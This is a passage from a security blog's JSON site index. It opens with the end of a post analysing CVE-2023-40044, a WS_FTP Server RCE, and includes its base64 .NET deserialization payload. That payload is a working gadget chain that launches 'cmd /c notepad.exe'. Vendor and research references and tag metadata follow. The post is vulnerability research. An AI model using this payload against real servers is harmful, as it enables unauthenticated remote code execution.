::AHT_DEFAULT_UPLOAD_PARAMETER::AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs= --boundary– 📌 References # https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023 https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044 https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis ","date":"2023-10-08","externalUrl":null,"permalink":"/en/posts/progress+ws_ftp+server+rce-cve-2023-40044/","section":"Posts","summary":"An analysis of the .NET deserialization flaw in Progress WS_FTP Server’s Ad Hoc Transfer module, covering the unauthenticated RCE trigger path and PoC.","title":"Progress WS_FTP Server RCE (CVE-2023-40044)","type":"posts"},{"content":"","date":"2023-10-08","externalUrl":null,"permalink":"/en/tags/rce/","section":"Tags","summary":"","title":"RCE","type":"tags"},{"content":"","date":"2023-10-08","externalUrl":null,"permalink":"/en/tags/ws_ftp/","section":"Tags","summary":"","title":"WS_FTP","type":"tags"},{"content":"Terminal procrastinator.\n","externalUrl":null,"permalink":"/en/about/","section":"KinJih's space","summary":"Terminal procrastinator.\n","title":"About Me","type":"page"},{"content":"","externalUrl":null,"permalink":"/en/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/en/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/en/series/","section":"Series","summary":"","title":"Series","type":"series"}]